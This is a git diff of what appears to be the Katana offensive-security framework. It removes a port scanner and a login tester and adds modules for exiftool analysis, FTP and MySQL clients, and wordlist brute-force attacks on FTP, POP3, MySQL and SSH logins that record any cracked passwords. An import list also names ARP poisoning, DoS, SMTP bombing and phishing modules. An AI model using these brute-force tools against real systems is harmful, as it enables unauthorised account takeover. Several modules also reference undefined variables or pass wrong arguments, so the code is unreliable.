host.findall('hostscript'): - for script in hostscript.findall('script'): - if script.get('id') == 'smb-os-discovery': - INFORMEs.append(script.get('output')) - - for os in host.findall('os'): - for osmatch in os.findall('osmatch'): - OSMATCHs.append(osmatch.get('name')) - - - print " Ip address: "+defaultnet - print " Mac : "+MAC - print " Vendor : "+VENDOR - print " OS Matchs : " - for os in OSMATCHs: - print " "+os - print " Services : " - for services in SERVICEs: - print " "+str(services) - print " Report :" - for informer in INFORMEs: - informer=str("{NULL}" if informer is "" else informer) - print str(informer) - commands.getoutput('rm tmp/portScanner-tmp.xml > null') - d.space() - except: - Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info(), info=False) - PortScanner(0) - diff --git a/scripts/TLogin.py b/scripts/TLogin.py deleted file mode 100644 index e63c444..0000000 --- a/scripts/TLogin.py +++ /dev/null @@ -1,110 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# @KATANA # -# Modules : Test Login # -# Script by : RedToor # -# Date : 23/05/2015 # -# Version : 1.1 # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Libraries # -import MySQLdb # -from lib.ftplib.ftplib import FTP -from core import help # -from pexpect import pxssh # -import poplib # -import socket # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -defaulthost=LOCAL_IP -defaultuser=USERNAME -defaultpass=PASSWORD -# :-:-:-:-:-:-:-:-:-:-:-:-:- # - -def run(target,username,password): - global defaulthost,defaultuser,defaultpass - defaulthost=target - defaultuser=username - defaultpass=password - tlogin(1) - -def tlogin(run): - try: - global defaulthost,defaultuser,defaultpass - if run!=1: - actions=raw_input(d.prompt("mc/tlogin")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("user","yes","Username",defaultuser) - d.descrip("pass","yes","Password",defaultpass) - d.space() - tlogin(0) - elif actions[0:10] == "set target": - defaulthost=defaulthost.replace("http://", "") - defaulthost=ping.update(defaulthost,actions,"target") - d.change("target",defaulthost) - elif actions[0:8] == "set user": - defaultuser=ping.update(defaultuser,actions,"user") - d.change("user",defaultuser) - elif actions[0:8] == "set pass": - defaultpass=ping.update(defaultpass,actions,"pass") - d.change("pass",defaultpass) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - elif actions=="run" or actions=="r": - d.run() - try: - d.testing("Mysql","3306") - MySQLdb.connect(defaulthost,defaultuser,defaultpass,'') - d.live_protocol() - if True: - print(" "+Suf+" Logged with "+defaultuser+"/"+defaultpass+" in Mysql") - except: - Errors.Errors(event=sys.exc_info(), info=False) - - try: - d.testing("SSH",SSH_PORT) - connect = pxssh.pxssh() - connect.login(defaulthost,defaultuser,defaultpass) - d.live_protocol() - if True: - print(" "+Suf+" Logged with "+defaultuser+"/"+defaultpass+" in SSH") - except: - print " "+Bad+" Service Off or No Logged." - try: - d.testing("FTP",FTP_PORT) - ftp.login(defaultuser,defaultpass) - if True: - print(" "+Suf+" Logged with "+defaultuser+"/"+defaultpass+" in FTP") - except: - print " "+Bad+" Service Off or No Logged." - try: - d.testing("POP3",POP_PORT) - red=poplib.POP3(defaulthost, 110) - red.user(defaultuser+"@"+defaulthost) - red.pass_(defaultpass) - if True: - print(" "+Suf+" Logged with "+defaultuser+"/"+defaultpass+" in POP3") - except: - print " "+Bad+" Service Off or No Logged." - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) - tlogin(0) diff --git a/scripts/Whois.py b/scripts/Whois.py deleted file mode 100644 index d95a7b5..0000000 --- a/scripts/Whois.py +++ /dev/null @@ -1,78 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Modules : Whois # -# Script by : RedToor # -# Date : 09/07/2015 # -# :-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import *# -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -from lib import whois # -# :-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-: # -defaulthost=LOCAL_IP -defaultport=HTTP_PORT -# :-:-:-:-:-:-:-:-:-:-:-: # - -def run(target,port): - global defaulthost,defaultport - defaulthost=target - defaultport=port - wuis(1) - -def wuis(run): - try: - global defaulthost,defaultport - if run!=1: - actions=raw_input(d.prompt("web/whois")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - d.space() - elif actions[0:10] == "set target": - defaulthost=defaulthost.replace("http://", "") - defaulthost=ping.update(defaulthost,actions,"target") - d.change("target",defaulthost) - elif actions[0:8] == "set port": - defaultport=ping.update(defaultport,actions,"port") - d.change("port",defaultport) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - return - elif actions=="run" or actions=="r": - d.run() - try: - ping.live(defaulthost,defaultport) - if True: - try: - w = whois.whois(defaulthost) - if w: - wd = w.__dict__ - for k, v in wd.items(): - print('%20s\t"%s"' % (k, v)) - print "" - except: - Errors.Errors(event=sys.exc_info(), info=False) - except: - Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - wuis(0) \ No newline at end of file diff --git a/scripts/__init__.py b/scripts/__init__.py index bdd4f1f..376fb7c 100644 --- a/scripts/__init__.py +++ b/scripts/__init__.py @@ -3,34 +3,35 @@ # @Katana Modules import # -import LFDconsole -import PortScanner -import forenseIMAGE -import Whois -import GenDic -import Wifi_DDOS -import WpaBTF -import services -import Joomscan -import TLogin -import FuzzerFTP -import BruteForcePOP3 -import BruteForceSQL -import BruteForceSSH -import BruteForceFTP -import BruteRAR -import BruteZIP -import BruteForceFormBase -import BruteForceHTTP -import ClientMYSQL -import ClientFTP -import ClientPOP3 -import GetDataReport -import ARPLooking -import AdminFinder -import LANScanner -import facebrok -import ARPPoisoning -import smtpBombing -import Iandl -import dosweb +# import Sniff +# import LFDconsole +# import PortScanner +# import forenseIMAGE +# import Whois +# import GenDic +# import Wifi_DDOS +# import WpaBTF +# import services +# import Joomscan +# import TLogin +# import FuzzerFTP +# import BruteForcePOP3 +# import BruteForceSQL +# import BruteForceSSH +# import BruteForceFTP +# import BruteRAR +# import BruteZIP +# import BruteForceFormBase +# import BruteForceHTTP +# import ClientMYSQL +# import ClientFTP +# import ClientPOP3 +# import GetDataReport +# import ARPmon +# import webadminfinder +# import LANScanner +# import facebrok +# import ARPPoisoning +# import smtpBombing +# import Iandl +# import dosweb diff --git a/files/tmtSMTP/twitterrecover.template b/scripts/anf/__init__.py similarity index 100% rename from files/tmtSMTP/twitterrecover.template rename to scripts/anf/__init__.py diff --git a/scripts/anf/forensicimageanalysis.py b/scripts/anf/forensicimageanalysis.py new file mode 100644 index 0000000..b4ca0d6 --- /dev/null +++ b/scripts/anf/forensicimageanalysis.py @@ -0,0 +1,76 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import subprocess # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Forensic Image Analysis with exiftool." + initialize.CodeName ="anf/af.imagen" + initialize.DateCreation ="28/09/2015" + initialize.LastModification ="31/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[["core/test/test.jpg", "target" , "yes" , "Path file"]] #[0][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + Message.loading_file() + with open(initialize.DEFAULT_VARIABLE [0][0],'r') as comprossed: + if True: + print "\n "+Hlp+" Forensic Imagen Client help" + print " --------------------------------------------" + print " |extract_all | extract all MD | ... |" + print " |comment | comment some | comment :)|" + print " --------------------------------------------\n" + cmd="nop" + parameter="ROO" + while(cmd!="exit"): + cmd = raw_input(Message.Client_prompt('forence{IMAGEN}')) + if(cmd=="extract_all"): + subprocess.call("perl files/exiftool/exiftool "+initialize.DEFAULT_VARIABLE [0][0], shell=True) + elif(cmd=="comment"): + subprocess.call("perl files/exiftool/exiftool -comment="+parameter+" "+initialize.DEFAULT_VARIABLE [0][0], shell=True) + except: + Errors.Errors(event=sys.exc_info()[0], info=initialize.DEFAULT_VARIABLE [0][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target): + initialize.DEFAULT_VARIABLE [0][0] = target + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/btf/__init__.py b/scripts/btf/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/scripts/btf/__init__.py @@ -0,0 +1 @@ + diff --git a/scripts/btf/bruteforcetoftprotol.py b/scripts/btf/bruteforcetoftprotol.py new file mode 100644 index 0000000..6568889 --- /dev/null +++ b/scripts/btf/bruteforcetoftprotol.py @@ -0,0 +1,83 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +from lib.ftplib.ftplib import FTP +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="LeSZO ZerO" + initialize.Version ="1.1" + initialize.Despcription ="Brute Force to FTP protocol." + initialize.CodeName ="btf/pc.ftp" + initialize.DateCreation ="07/03/2015" + initialize.LastModification ="25/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[FTP_PORT , "port" , "no" , "Service port"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[[USERNAME , "user" , "yes" , "Username target"]] #[2][0] + initialize.DEFAULT_VARIABLE +=[[DITIONARY_PASSWORDS , "dict" , "no" , "Wordlist"]] #[3][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + ftp = FTP(initialize.DEFAULT_VARIABLE[0][0]) + if True: + try: + Message.loading_file() + with open(initialize.DEFAULT_VARIABLE[3][0],'r') as passwords: + for password in passwords: + password=password.replace("\n","") + try: + ftp.login(initialize.DEFAULT_VARIABLE[2][0],password) + if True: + getFunction.save("BruteForceFTP",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],password) + Message.Success(initialize.DEFAULT_VARIABLE[2][0],password) + break + except: + print " "+Alr+" Checking ("+initialize.DEFAULT_VARIABLE[2][0]+"="+password+")" + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[3][0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,username,dictionary): + initialize.DEFAULT_VARIABLE[0][0] = target + initialize.DEFAULT_VARIABLE[1][0] = port + initialize.DEFAULT_VARIABLE[2][0] = username + initialize.DEFAULT_VARIABLE[3][0] = dictionary + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/btf/bruteforcetopop3rotocol.py b/scripts/btf/bruteforcetopop3rotocol.py new file mode 100644 index 0000000..e7fb166 --- /dev/null +++ b/scripts/btf/bruteforcetopop3rotocol.py @@ -0,0 +1,84 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import poplib # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Brute Force to POP protocol." + initialize.CodeName ="fbt/pc.pop" + initialize.DateCreation ="22/03/2015" + initialize.LastModification ="25/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[POP_PORT , "port" , "no" , "Service port"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[[USERNAME , "user" , "yes" , "Username target"]] #[2][0] + initialize.DEFAULT_VARIABLE +=[[DITIONARY_PASSWORDS , "dict" , "no" , "Wordlist"]] #[3][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + red=poplib.POP3(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) + if True: + try: + Message.loading_file() + with open(initialize.DEFAULT_VARIABLE[3][0],'r') as passwords: + for password in passwords: + password=password.replace("\n","") + try: + red.user(initialize.DEFAULT_VARIABLE[2][0]) + red.pass_(password) + if True: + getFunction.save("BruteForcePOP3",initialize.DEFAULT_VARIABLE[2][0],password) + Message.Success(initialize.DEFAULT_VARIABLE[2][0],password) + break + except: + print " "+Alr+" Checking ("+initialize.DEFAULT_VARIABLE[2][0]+"="+password+")" + except: + Errors.Errors(event=sys.exc_info()[0], info=initialize.DEFAULT_VARIABLE[3][0]) + except: + Errors.Errors(event=sys.exc_info()[0], info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,username,dictionary): + initialize.DEFAULT_VARIABLE[0][0] = target + initialize.DEFAULT_VARIABLE[1][0] = port + initialize.DEFAULT_VARIABLE[2][0] = username + initialize.DEFAULT_VARIABLE[3][0] = dictionary + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/btf/bruteforcetosqlprotocol.py b/scripts/btf/bruteforcetosqlprotocol.py new file mode 100644 index 0000000..2b273a8 --- /dev/null +++ b/scripts/btf/bruteforcetosqlprotocol.py @@ -0,0 +1,83 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import MySQLdb # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Brute Force to SQL protocol." + initialize.CodeName ="btf/pc.sql" + initialize.DateCreation ="16/05/2015" + initialize.LastModification ="25/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[SQL_PORT , "port" , "no" , "Service port"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[[USERNAME , "user" , "yes" , "Username target"]] #[2][0] + initialize.DEFAULT_VARIABLE +=[[DITIONARY_PASSWORDS , "dict" , "no" , "Wordlist"]] #[3][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + try: + Message.loading_file() + with open(initialize.DEFAULT_VARIABLE[3][0],'r') as passwords: + for ps in passwords: + ps=ps.replace("\n","") + try: + MySQLdb.connect(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[2][0],ps,'') + if True: + getFunction.save("BruteForceSQL",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],ps) + Message.Success(initialize.DEFAULT_VARIABLE[2][0],ps) + break + except: + print " "+Alr+" Checking ("+initialize.DEFAULT_VARIABLE[2][0]+"="+ps+")" + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[3][0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,username,dictionary): + initialize.DEFAULT_VARIABLE[0][0] = target + initialize.DEFAULT_VARIABLE[1][0] = port + initialize.DEFAULT_VARIABLE[2][0] = username + initialize.DEFAULT_VARIABLE[3][0] = dictionary + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/btf/bruteforcetosshprotocol.py b/scripts/btf/bruteforcetosshprotocol.py new file mode 100644 index 0000000..1a70dd4 --- /dev/null +++ b/scripts/btf/bruteforcetosshprotocol.py @@ -0,0 +1,84 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +from pexpect import pxssh # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Brute Force to SSH protocol." + initialize.CodeName ="btf/pc.ssh" + initialize.DateCreation ="07/03/2015" + initialize.LastModification ="25/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[SSH_PORT , "port" , "no" , "Service port"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[[USERNAME , "user" , "yes" , "Username target"]] #[2][0] + initialize.DEFAULT_VARIABLE +=[[DITIONARY_PASSWORDS , "dict" , "no" , "Wordlist"]] #[3][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + try: + Message.loading_file() + with open(initialize.DEFAULT_VARIABLE[3][0],'r') as passwords: + for ps in passwords: + ps=ps.replace("\n","") + try: + connect = pxssh.pxssh() + connect.login(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[2][0],ps) + if True: + getFunction.save("BruteForceSSH",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],ps) + Message.Success(defaultuser,ps) + break + except: + print " "+Alr+" Checking ("+initialize.DEFAULT_VARIABLE[2][0]+"="+ps+")" + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[3][0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,username,dictionary): + initialize.DEFAULT_VARIABLE[0][0] = target + initialize.DEFAULT_VARIABLE[1][0] = port + initialize.DEFAULT_VARIABLE[2][0] = username + initialize.DEFAULT_VARIABLE[3][0] = dictionary + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/clt/__init__.py b/scripts/clt/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/scripts/clt/__init__.py @@ -0,0 +1 @@ + diff --git a/scripts/clt/clientftp.py b/scripts/clt/clientftp.py new file mode 100644 index 0000000..660c3c0 --- /dev/null +++ b/scripts/clt/clientftp.py @@ -0,0 +1,134 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +from lib.ftplib.ftplib import FTP +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Console Client for FTProtocol." + initialize.CodeName ="clt/cl.ftp" + initialize.DateCreation ="03/03/2015" + initialize.LastModification ="31/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[FTP_PORT , "port" , "no" , "Service port"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[[USERNAME , "user" , "yes" , "Username target"]] #[2][0] + initialize.DEFAULT_VARIABLE +=[[PASSWORD , "pass" , "yes" , "Password target"]] #[3][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + try: + ftp.login(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + try: + cmd="nop" + patch="" + print "\n "+Hlp+" FTP Client help" + print " ----------------------------------------" + print " |"+colors[6]+"Commd"+colors[0]+"| "+colors[6]+"Description"+colors[0]+" | "+colors[6]+"Examples"+colors[0]+" |" + print " ----------------------------------------" + print " |ls | list files | ls |" + print " |cd | change dir | cd css |" + print " |mk | create dir | mk images |" + print " |rm | remove file | remove config.js | " + print " |rmd | remove dir | remove sex |" + print " |get | get file | get index.php |" + print " |put | up file | put login.php |" + print " ----------------------------------------" + print "" + while(cmd!="exit"): + cmd = raw_input(Message.Client_prompt('ftp')) + if cmd == "ls": + ftp.retrlines("LIST") + if cmd[0:2] == "cd": + try: + ftp.cwd(cmd[3:]) + if True: + patch=cmd[3:] + if patch == "..": + patch="" + except: + print " "+Bad+" Error: directory wrong." + if cmd[0:3] == "get": + lfile=cmd[4:].replace("\n","") + try: + ftp.retrbinary('RETR '+lfile,open(lfile,'wb').write) + if True: + subprocess.Popen("cp "+lfile+" /root/Desktop/;rm "+lfile+"", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + print " "+Suf+" Saved, /root/Desktop/"+lfile + except: + print " "+Bad+" Error: file not found." + if cmd[0:3] == "put": + lfile=cmd[4:].replace("\n","") + w = open(lfile, 'rb') + try: + ftp.storbinary("STOR r.r",w) + except: + print " "+Bad+" Error: file wrong." + if cmd[0:2] == "rm": + try: + ftp.delete(cmd[3:]) + except: + print " "+Bad+" Error: file not found." + if cmd[0:3] == "rmd": + pat=cmd[4:].replace("\n","") + ftp.rmd(pat) + if cmd[0:2] == "mk": + try: + ftp.mkd(cmd[3:]) + except: + print " "+Bad+" Error: directory wrong." + + except Exception,e: + print(" "+Bad+" Timeout, Error:", e) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[2][0]+":"+initialize.DEFAULT_VARIABLE[3][0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,username,password): + initialize.DEFAULT_VARIABLE[0][0] = target + initialize.DEFAULT_VARIABLE[1][0] = port + initialize.DEFAULT_VARIABLE[2][0] = username + initialize.DEFAULT_VARIABLE[3][0] = password + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/clt/clientmysql.py b/scripts/clt/clientmysql.py new file mode 100644 index 0000000..bfdee99 --- /dev/null +++ b/scripts/clt/clientmysql.py @@ -0,0 +1,105 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import MySQLdb # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Console Client for Mysql Protocol." + initialize.CodeName ="clt/cl.sql" + initialize.DateCreation ="15/05/2015" + initialize.LastModification ="31/03/2016" + 